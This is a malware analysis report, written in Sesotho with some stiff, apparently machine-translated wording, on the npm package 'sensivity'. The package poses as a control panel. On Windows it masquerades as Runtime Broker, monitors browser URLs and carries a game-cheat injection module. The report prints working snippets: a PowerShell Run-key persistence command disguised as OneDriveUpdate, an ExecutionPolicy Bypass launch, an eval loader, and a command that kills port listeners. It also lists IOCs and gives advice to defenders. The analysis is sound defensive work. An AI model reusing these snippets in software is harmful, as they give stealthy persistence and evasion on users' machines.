TL; DR
Sephutheloana sa npm kutlo e itlhalosa e le "Sensivity Control Panel." Ho Windows e sebetsa e le sesebelisoa sa taolo ya remoutu le sa ho lekola.
Ntlha ea eona ea ho kena, launcher.js, e reha ts'ebetso ea eona lebitso ho Runtime Broker, e ngola boleng ba senotlolo sa Run-start bo bitsoang autostart OneDriveUpdate e qalang sephutheloana hape ka VBScript e patiloeng, e hlahisa PowerShell ka -ExecutionPolicy Bypass, ebe e hlakola mojaro o payload oa seva o sa hlakang oa 171 KB hammoho le mojule oa native oa 6.87 MB, sens.node.
E sebeletsa phanele ea taolo ea ho kopanya fono ho TCP port 3000 mme e bala URL ea aterese ea sebatli se sebetsang ka Windows UIAutomation, e shebelletse video e le 'ngoe ea YouTube e nang le khoutu e thata.
Likarolo tse peli tse neng li baleha pele e le mabokose a matšo joale li rarollotsoe. Seva e patiloeng, server.obf.js, e sebedisa sekema sa obfuscator.io RC4 string-array; ho kenya tshebetsong hape decoder ya yona kantle ho inthanete (ha ho na JavaScript e kentsweng) ho fumana ntlha e le nngwe ya kantle — https://izopi.com/check.php — hammoho le senotlolo sa phatlalatsa sa RSA se kentsoeng se sebelisetsoang ho netefatsa likarabo tsa laesense e saennoeng.
Mojule oa tlhaho, sens.node, ha e pakiloe: tafole ea eona ea ho kenya le likhoele tse kentsoeng li e khetholla e le DirectX 11 / Dear ImGui overlay ea papali e fanang ka aimbot, ESP (wall-hack), le likarolo tsa triggerbot, tse tsamaisoang ke injection ea remote-process le memori ea ho bala/ho ngola.
Likhoele tse ka hare ho eona li supa likarolo tsa likoloi le libaka tsa 'mapa tse tsamaellanang le GTA V / FiveM. Sephutheloana sa npm ke sekoahelo sa ho tlisa le ho phehella ho potoloha mojule oo oa tlhaho.
Letšoao le hlalosang lea sebetsa, eseng la botekgeniki: mohatisi a le mong ea sa tsejoeng o sutumelletse mefuta e ka bang mashome a supileng ea sephutheloana se le seng — 2.5.0 ho fihlela 2.5.69 — ho pholletsa le matsatsi a 'maloa, e 'ngoe le e 'ngoe e nkile sesebelisoa se tšoanang sa ho lahlela.
Ha ho na tse kentsweng hooksMoroalo o tla sebetsa feela ha sephutheloana se qadilwe.
Tlhaselo: Kamoo e Sebetsang Kateng
sensivity e romela difaele tse leshome. Package.json ha e fumanehe haholo: ha ho na sebaka sa polokelo, ha ho na laesense, lebitso la mabitso a maholo le a mabedi a dibin (sensivity, sens) kaofela a supa ho launcher.js, le sengolwa sa ho qala sa node launcher.js. Ha ho na postinstall kapa preinstall. Ha ho letho le tukang ho npm install. Boitshwaro bo hlalositsweng ka tlase bo sebetsa ha mosebedisi a qala sephutheloana - ka bin shim, sengolwa sa ho qala, kapa tlhoko.
Tarball e na le sebui, seva e patilweng, mojule wa tlhaho, sengoloa sa Visual Basic, le bukana ya setjhaba/web bakeng sa phanele ya taolo. launcher.js ke okhestra e balwang; mohopolo o bohlokwa nakong ya tshebetso o dula marothoding a mabedi ao e a jarang - seva e patilweng le mojule wa tlhaho o kopaneng, ka bobedi di rarollotswe ka tlase.
Ts'ebetso ea ho ikhakanya le ntlafatso ea OneDrive ea bohata
Qalong ea ts'ebetso ea launcher.js e beha lebitso la eona la ts'ebetso habeli:
javascript process.title = 'Runtime Broker'; Runtime Broker ke ts'ebetso ea molao ea Windows (RuntimeBroker.exe) e buellang litumello tsa app. Ho reha ts'ebetso ea Node bocha hore e lumellane le eona ho bolela hore ho sheba Task Manager kapele ha ho bontše letho le sa tloaelehang.
Ho phehella ho ngolwa ka PowerShell ho ena le API ea ngoliso e tobileng:
javascript execSync(`powershell -NoProfile -Command "$k='HKCU:\\Software\\Microsoft\\Windows\\CurrentVersion\\Run';$n='OneDriveUpdate';$v='wscript.exe \"${vbs}\"';Set-ItemProperty -Path $k -Name $n -Value $v -Force|Out-Null"`, { stdio: 'ignore', timeout: 5000 }); Boleng ba autostart bo bitswa OneDriveUpdate, mme ha bo supe sephutheloana ka ho toba. Bo supa wscript.exe e tsamaisang OneDrive.Standalone.Updater.vbs e kopaneng. Sengolwa seo se qala botjha node launcher.js fensetereng e patilweng. Lebitso la Run-key le lebitso la faele la VBScript di alima lebitso la Microsoft, kahoo ho kena ha autostart ho balwa e le mosebetsi o tlwaelehileng wa OneDrive.
PowerShell e nang le ho feta ha leano la ts'ebetso
Sesebelisoa sa ho qala se romela PowerShell kgafetsa. Sinki eo disekenara di e tshwayang e le ya bohlokwa ke ho qalwa ha .ps1 e hlahisitsweng ka leano la ho phethahatsa le timme:
javascript exec('start "Windows PowerShell" powershell -NoProfile -ExecutionPolicy Bypass -File "' + psFile + '"', { cwd: APP_DIR }); ExecutionPolicy Bypass e tlosa tlhahlobo ea ho saena sengoloa sebakeng seo bakeng sa kopo eo. Lingoloa tse hlahisitsoeng li sebetsana le mosebetsi oa ho lekola sebatli le ho lemoha fensetere o hlalositsoeng karolong e latelang.
Seva e patiloeng le mojule oa tlhaho
Kamora ho seta, launcher.js e jara le ho phethahatsa mojaro oa eona oa 'nete:
const serverCode = fs.existsSync(path.join(APP_DIR, 'server.obf.js')) ? path.join(APP_DIR, 'server.obf.js') : path.join(APP_DIR, 'server.js'); eval(fs.readFileSync(serverCode, 'utf8'));server.obf.js ke 171 KB ea _0x-array obfuscation — paterone ea JavaScript moo khoele e 'ngoe le e 'ngoe le sesupo li nkeloang sebaka ke index ho sehlopha se shuffled, ebe li tlosoa litšupiso nakong ea ts'ebetso. Morero ke mofuta oa RC4 o hlahisoang ke obfuscator.io: mosebetsi o le mong oa decoder base64-o khetholla ho kena ha sehlopha ebe RC4-e se hlakola ka senotlolo sa per-call. Ho kenya ts'ebetsong decoder eo hape ka har'a script e arohaneng — ho sebelisa feela ho kenya tšebetsong hape holim'a sehlopha sa khoele sa 821-entry se ntšitsoeng, ha ho mohla JavaScript ea sephutheloana — e e lokollang ka mokhoa o hloekileng. Ke bokaholimo bofe bo itekanetseng empa bocisive: URL e le 'ngoe ea kantle, https://izopi.com/check.php`, e abetsoeng ho LICENSE_URL kamehla; RSA PUBLIC_KEY_PEM e kentsoeng`; litsela tsa phanele ea lehae /api/kill, /api/qr.png, /api/trigger, /api/url, /trigger/off, le /trigger/status; le likhoele child_process, crypto, le [Sensivity] sens.node e kentsoeng — ea ho qetela ke mola o nepahetseng oa log oo sebui se o ngolang bocha ho module ea lenaneo e kentsoeng. Ntlha ea ho qetela ke tlhahlobo ea laesense: moreki o beha sesupo (seva e patiloeng e hlophisa ID ea Discord: %s string) 'me senotlolo sa RSA se netefatsa karabo e saennoeng ea seva.
sens.node ke sehokelo sa tlhaho se kopantsoeng sa 6.87 MB, 'me ha sea pakoa - karolo ea entropy e lutse ho 5.6–6.6 'me litafole tsa ho kenya le ho romela kantle tsa PE li tiile, kahoo bokhoni ba eona bo ka baloa ka kotloloho. E romela kantle ho naha napi_register_module_v1, e standard Ntlha ea ho kena ea Node N-API, kahoo seva ea eval'd e e kenya ka tlhoko e hlakileng. Tafole ea eona ea ho kenya ke tlhaloso. Ho tsoa ho KERNEL32 e hula OpenProcess, VirtualAllocEx, WriteProcessMemory, ReadProcessMemory, CreateRemoteThread, K32EnumProcessModules, le Process32First/NextW - sete ea canonical bakeng sa ho fumana ts'ebetso e 'ngoe, ho abela memori ka hare ho eona, le ho bala kapa ho ngola memori eo. Ho tsoa ho USER32 e hula GetAsyncKeyState, GetKeyState, mouse_event, le SetCursorPos; e hokahanya d3d11.dll, D3DCOMPILER_43, le dwmapi bakeng sa overlay skrineng, le sete e felletseng ea WINHTTP bakeng sa mehala ea marang-rang. Lithapo tsa eona tse kentsoeng li reha sete ea likarolo ntle le ho hlaka: E nolofalletsa Aimbot, Aimbot FOV, Box ESP, Skeleton ESP, Triggerbot, ESP Builder, Vehicle ESP, Electron Anticheat e fumanoeng, le banner ea Dear ImGui Dear ImGui 1.91.3 WIP. Lithapo tsa sebaka le tsa mokhatlo tse kang Grapeseed Medical Clinic le mantsoe a vehicle-ESP li tsamaisana le GTA V / FiveM.
Karohano ena e etsoa ka boomo: launcher.js e baloang e jara feela likarolo tseo scanner e li balang habonolo - ho phehella, ho iketsa eka ke ntho e sa lokelang, e leng e sa lokelang ho baloa - ha obfuscation e pata moamoheli a le mong oa kantle oa mabitso a nako ea ho matha, 'me binary e tšoere mokhoa oa ho koahela papali le oa ho kenya ts'ebetso. Launcher ke khetla e tšesaane, e ka hlahlojoang; seva e sa lokelang e pata boitsebiso ba marang-rang; module ea tlhaho ke mojaro o lefang. Re hlalosa lintho tse kenang le likhoele tsa binary e le tse baloang; ha re fumane morero oa opereishene ho tsona.
Phanele ea taolo ea ho kopanya fono koung ea 3000
Sesebelisoa sa ho qala se laola seva sa webo sa lehae ho TCP port 3000 mme se se nka e le singleton. Se botsa momameli ea seng a ntse a le teng ebe sea e hlakola pele se tlama:
javascript execSync('powershell -NoProfile -Command "$c=Get-NetTCPConnection -LocalPort 3000 -State Listen -EA 0; if($c){$c | ForEach-Object { Stop-Process -Id $_.OwningProcess -Force -EA 0 }}"', { stdio: 'ignore', timeout: 5000 }); Phanele e ka fihlelleha ho http://localhost:3000, ka URL ya ho kgutlela morao ya LAN e nang le khoutu e thata ya http://192.168.1.16:3000. Bukana ya setjhaba/ le boitshwaro ba phanele di tsamaellana le phallo ya ho kopanya QR: fono e skena khoutu mme e tlama ho moamoheli e le remote. Ha ho na domain ya taelo le taolo ya kantle e hlahang mongolong o hlakileng ho launcher — empa, jwalo ka ha deobfuscation e ka hodimo e bontsha, e nngwe e teng ho seva e sireleditsweng: ntlha ya ho qetela ya laesense ya izopi.com. Phanele ka boyona e sebakeng sa heno mme e na le LAN-scoped; moamoheli feela ya tswang ke tlhahlobo eo ya laesense.
Mohlala oa mookameli/mosebetsi ea arohaneng o boloka ts'ebetso e phela. Sesebelisoa sa ho qala se iponahatsa hape ka lifolakha tsa tikoloho tsa SENSIVITY_SUPERVISOR le SENSIVITY_WORKER, ngoana e mong le e mong a ntse a ipatile, kahoo ho bolaea ts'ebetso e le 'ngoe ho siea mohlokomeli ho e qala hape.
Tlhokomelo ea Sebatli le Letšoao la YouTube
Boitšoaro bo tobileng ka ho fetisisa ke ho beha leihlo sebatli. launcher.js e haha PowerShell e khannang Windows UIAutomation ho bala bara ea aterese ea sebatli se sebetsang:
javascript '$pattern = $edit.GetCurrentPattern([System.Windows.Automation.ValuePattern]::Pattern)', ValuePattern e khutlisa dikahare tsa mongolo wa karolo ya UI. E sebediswa taolong ya ho fetola aterese ya sebatli sa di-adress-bar, e kgutlisa URL eo motho ya hlasetsweng a e shebileng hajwale - ntle le katoloso ya sebatli, ntle le ho ama profaele ho disk, mme ntle le hook ya API. Sengolwa se hlahisitsweng se pheta lenane la $browserNames mme se ntsha URL kapa sehlooho sa fensetere sa sebatli sefe kapa sefe se ka pele.
URL eo e lekoa khahlanong le sepheo se le seng se nang le khoutu e thata:
javascript const TARGET_YOUTUBE_VIDEO_ID = 'wJWta2lO0Lw'; Sesebelisoa sa ho qala se etsa dipatlisiso ka sekgutlo sa metsotswana e meraro bakeng sa fensetere ya sebatli se bontshang YouTube, mme PowerShell e hlahisitsweng e na le para ya Get-YouTubeBrowser / Test-TargetYouTubeUrl e tsamaellanang le ID eo ya video. Phello e bonahalang e habeli: URL e sebetsang ya ho bala e balwa skrineng sa motho ya hlasetsweng, mme tshebedisano ya moamoheli le video e le nngwe e ikgethang ya YouTube e a lemohuwa. Re hlalosa mokgwa le sepheo; ha re etse qeto ya hore na ke sepheo sefe ho tsona.
Bala aterese ea bareng ke seo sekene se se bitsang sensitive_data_enumeration — mohloli oa Process::env le UIAutomation o fepang nako ea ho sebetsa e nang le bokhoni ba marang-rang. E shebahala e le ntle ka thoko 'me e ikemiseditse ho beha leihlo feela hang ha potoloho ea bophelo ba data e se e batloa ho tloha mohloling oa UIAutomation ho ea ho seva e patiloeng.
Nako le Phetoho ea Phetolelo
Ho utloa bohloko ha se ho jarollwa hanngoe feela. Ak'haonte ea mohatisi e na le mefuta e ka bang mashome a supileng e hatisitsoeng ea sephutheloana sena se le seng, 'me tse ncha li ntse li fihla nakong ea fensetere ea tlhahlobo. Sesebelisoa sa ho qala se holisa tšobotsi ka tšobotsi ho pholletsa le mola oa 2.5.x ha ho phehella ha sona le ho jara mojaro ho lula ho tsitsitse.
| Letsatsi (UTC) | Liphetolelo tse shebiloeng | Boemo ba ho qala |
|---|---|---|
| 2026-06-02 | 2.5.8 - 2.5.46 (25) | Sesebelisoa sa ho qala sa QR-phanele ea motheo; Ho phehella ha konopo ea ho matha; tlhahlobo ea seva e sa tsejoeng. |
| 2026-06-03 | 2.5.53 - 2.5.61 (6) | Monoana o tšoanang oa menoana; ho thibela motsamao oa khomphutha. |
| 2026-06-04 | 2.5.67, 2.5.68 (2) | E eketsa sepheo sa ho kopanela le YouTube se khomaretsoeng wJWta2lO0Lw. |
| 2026-06-05 | 2.5.0 - 2.5.69 (24) | Ho tlatsa dikgeo ho phatlalatswa hape ho pholletsa le sebaka; mookamedi/mosebetsi ya lebelang. |
Ho bala sebui ho pholletsa le baemeli ba jarollotsoeng — 2.5.0, 2.5.36, le 2.5.69 — ho bonts'a maemo a mane. Meaho ea pele e na le sebui sa motheo sa ho kopanya QR. Ho tloha ho 2.5.33 sebui sa UIAutomation sea hlaha. Ho tloha ho 2.5.58 ho eketsoa lera la tsamaiso ea mookameli. Ho tloha ho 2.5.64 mohlokomeli ea arohaneng/mosebetsi o phethela sete. Ho pholletsa le tsohle, lintho tse 'ne ha li fetohe: senotlolo sa OneDriveUpdate Run, dropper ea OneDrive.Standalone.Updater.vbs, eval'd server.obf.js, le mojule oa sens.node.
Leqhubu la 2026-06-05 lea hlokomeleha hobane le phatlalalitse hape linomoro tsa mofuta o tlase — 2.5.0 ho isa ho 2.5.15 — tse ka tlase ho liphetolelo tse tiisitsoeng matsatsi a fetileng. Phello ke mola o kopaneng oa 2.5.x ho ngoliso, mofuta o mong le o mong o na le sesebelisoa se tšoanang sa ho qala.
Matšoao a ho sekisetsa
Matšoao ohle a ka tlase a badilwe ka ho toba ho tsoa ho pakete ea tarball. Sesebelisoa sa ho qala se baloang se na le loopback feela le aterese e le 'ngoe ea LAN ea poraefete; lebitso le le leng la moamoheli la kantle, izopi.com, le fumanoe ke deobfuscating server.obf.js offline.
| Type | pontshi | Notes |
|---|---|---|
| sephutheloana | npm:sensivity (Liphetolelo tse ≈70, 2.5.0-2.5.69) | Mohatisi oa sephutheloana se le seng; ha ho na polokelo; ha e na laesense. |
| faele | launcher.js | Sebapali se baloang; sepheo se seholo le sa lithōle. |
| faele | server.obf.js (≈171 KB) | obfuscator.io RC4 string-array payload, e kentswe ka eval(fs.readFileSync(...)). |
| faele | sens.node (≈6.87 MB) | Tlatsetso ea PE32+ x86-64 Node N-API; SHA-256 66b674884042fca2f056d06854325ea0e8bc902d4e3cdaeafd5fe08c7d0aab40. |
| faele | OneDrive.Standalone.Updater.vbs | Sesebelisoa sa ho qala bocha se patiloeng (node launcher.js). |
| Network | https://izopi.com/check.php | Sebaka sa ho qetela sa laesense/tumello se fumanoe ho seva e patiloeng; senotlolo sa phatlalatsa sa RSA se kentsoeng se netefatsa likarabo. |
| Bokhoni | OpenProcess, VirtualAllocEx, WriteProcessMemory, ReadProcessMemory, CreateRemoteThread | Ho kenya tshebetsong ya hole le bokgoni ba ho bala/ho ngola ka memori. |
| Bokhoni | Enable Aimbot, Box ESP, Triggerbot, Vehicle ESP, Dear ImGui 1.91.3 WIP | DirectX 11 / ImGui game overlay e kenyang tshebetsong dibopeho tsa aimbot, ESP, le triggerbot. |
| Registry | HKCU\Software\Microsoft\Windows\CurrentVersion\Run → OneDriveUpdate | Boleng ba ho qala ka boiketsetso bo supa ho wscript.exe le sesebelisoa sa ho qala sa VBScript. |
| Process | process.title = 'Runtime Broker' | E ikhakanya e le mokhoa o nepahetseng oa Windows Runtime Broker. |
| Ho beha boitšoaro | powershell -NoProfile -ExecutionPolicy Bypass -File <generated>.ps1 | Ho feta ha leano la phethahatso ho sebediswa bakeng sa dingolwa tse hlahisitsweng tsa PowerShell. |
| Ho beha boitšoaro | UIAutomation ValuePattern ho bala ha bare ea aterese ea sebatli | E bala URL ea fensetere ea sebatli se ka pele. |
| Ho beha boitšoaro | ID ea video e reretsoeng wJWta2lO0Lw; Phuputso ea YouTube ea metsotsoana e 3 | Letšoao la ho beha leihlo boitlamo le khomaretsoeng. |
| Network | http://localhost:3000, boela morao http://192.168.1.16:3000 | Phanele ea taolo ea ho kopanya QR e pepesitsoe sebakeng sa heno le ho LAN. |
| tikoloho e khahlang | SENSIVITY_SUPERVISOR, SENSIVITY_WORKER | Lifolakha tsa ho hokahanya ts'ebetso ea mohlokomeli ea arohaneng. |
Tšusumetso, Tšusumetso, le Basireletsi
Sephutheloana sena se phatlalalitsoe ke ak'haonte e le 'ngoe ea npm eo imeile ea eona e boletsoeng e leng aterese ea Gmail e sa netefatsoang. Ak'haonte ena e na le lintlha tse mpe haholo tsa botumo ba ngoliso, e boloka le ho phatlalatsa sephutheloana sena se le seng feela, 'me ha e na polokelo ea mohloli e hokahaneng. Ha rea nepahalla beng ba imeile 'me re amahanya letšolo lena le ak'haonte ea mohatisi, eseng le motho ofe kapa ofe ea boletsoeng ka lebitso. Sesebelisoa sa ho qala ha se na meralo ea motheo e hlakileng, empa moamoheli a le mong oa kantle o se a tsebahala: seva e patiloeng e ikopanya le izopi.com bakeng sa tlhahlobo ea laesense, 'me module ea tlhaho - e baloang ho tsoa tafoleng ea eona ea ho kenya le likhoele ho fapana le litaelo tse khutlisitsoeng - ke papali e koahelang e kenang le ho bala mohopolo oa ts'ebetso e 'ngoe.
Tšusumetso e bonahalang e oela ho basebelisi ba Windows ba kenyang le ho tsamaisa kutlo ba lebeletse sesebelisoa sa taolo. Ho li-host tseo, sephutheloana se theha ho phehella ha autostart ho patiloeng e le mosebetsi oa OneDrive, se ipitsa lebitso ho etsisa ts'ebetso ea sistimi, se bala URL ea eng kapa eng eo mosebelisi a e balang, 'me se emisa phanele ea ho kopanya e tlamang mochini ho remote holim'a marang-rang a lehae. Mohlokomeli oa mookameli/mosebetsi o bolela hore ho bolaea ts'ebetso e le 'ngoe ha ho e tlose; ho kena ha Run-key ho pholoha ho qala bocha. macOS le Linux ha li shejoe ke sebui - litsela tsa ho phehella, PowerShell, le UIAutomation ke tsa Windows feela.
Ho se lumellane ha mefuta e mashome a supileng ke mokhoa o lokelang ho tshwauwa. Ho phatlalatsa sephutheloana se le seng hape ka makgetlo a mangata ka matsatsi a mmalwa, ho kenyeletswa le dinomoro tsa mofuta tse tlatsang ka morao ho tse seng di ntshitswe, ho boloka kopi e phelang ho ngodiso pakeng tsa ho tloswa mme ho ferekanya manane a thibelang a nang le mofuta. Keno ya lenane la thibela bakeng sa sensivity@2.5.61 ha e etse letho kgahlanong le sensivity@2.5.3 e phatlaladitsweng hape letsatsing le hlahlamang.
Babuelli ba molao ba ka nka khato ho tse latelang:
- Thibela ho sensivity ha lebitso la sephutheloana ka ho toba lenaneng la baemedi ba ngoliso le ba CI. Ho tsitlella mefuta e fapaneng ho lahleheloa ke cadence ea ho phatlalatsa hape; lebitso ke sesupo se tšoarellang.
- Batla boleng ba Run bo bitsoang OneDriveUpdate boo data ya bona e ipiletsang ho wscript.exe kgahlanong le .vbs tseleng ya mosebedisi ka mong. Ntlafatso ya nnete ya OneDrive ha e ngodiswe ka tsela ena.
- Temoso mabapi le ts'ebetso ea Node.js eo process.title ea eona e leng Runtime Broker. Morekisi oa 'nete ke RuntimeBroker.exe, eseng Node runtime.
- Tšoaea ho lata ha nako ea ho kenya ea npm ea liphutheloana tse romellang addon e kopantsoeng ea .node hammoho le eval(fs.readFileSync(…)) ea faele ea ngoan'abo .obf.js. Ho kopanya hoo — binary ea tlhaho e sa bonahaleng e kentsoeng haufi le payload ea mongolo o patiloeng — ke tlhaloso ea sebopeho mona, e sa itšetleheng ka khoele efe kapa efe ea IOC.
- Tšoara momameli ofe kapa ofe ea lulang sebakeng sa heno koung ea 3000 ea hlahisitsoeng ke ts'ebetso e sa lebelloang ea Node e le ntho e belaelloang ho li-endpoint tsa Windows tse laoloang.
- Thibela kapa o lemose dikopo tse tswang ho izopi.com ho tswa ho moqapi kapa mosebelisi wa ho qetela; ke ntlha feela ya kantle ya sephutheloana, e fihlelletsweng ho /check.php ho tswa ho seva e patilweng.
- Bakeng sa tlatsetso efe kapa efe ea .node e kopantsoeng, hlahloba tafole ea eona ea ho kenya pele u e tšepa. Motsoako oa OpenProcess + VirtualAllocEx + WriteProcessMemory + CreateRemoteThread ke ente ea ts'ebetso ea remote ho sa tsotelehe seo sephutheloana se ipolelang hore se se etsa; mona e lutse pela Direct3D overlay le likhoele tsa aimbot/ESP/triggerbot.
Bakeng sa tlhahlobo ea static pipelines, sebopeho sa kholiseho se tšoarella ho pholletsa le mofuta o mong: profaele ea ho kenya e seng ea marang-rang, kabelo ea sehlooho sa ts'ebetso ho lebitso le tsejoang la ts'ebetso ea sistimi, mongolo oa Run-key ka PowerShell, le eval ea faele e baloang ho tsoa disk. Ha ho le e 'ngoe ea tsona e itšetlehileng ka domain, IP, kapa nomoro ea mofuta oo khatiso e latelang e ka o potolohang.
References
[npm: kutloelo-bohloko] – leqephe la ngoliso bakeng sa mola oa mofuta oa sephutheloana o tšohloang mona; le ka tlosoa.
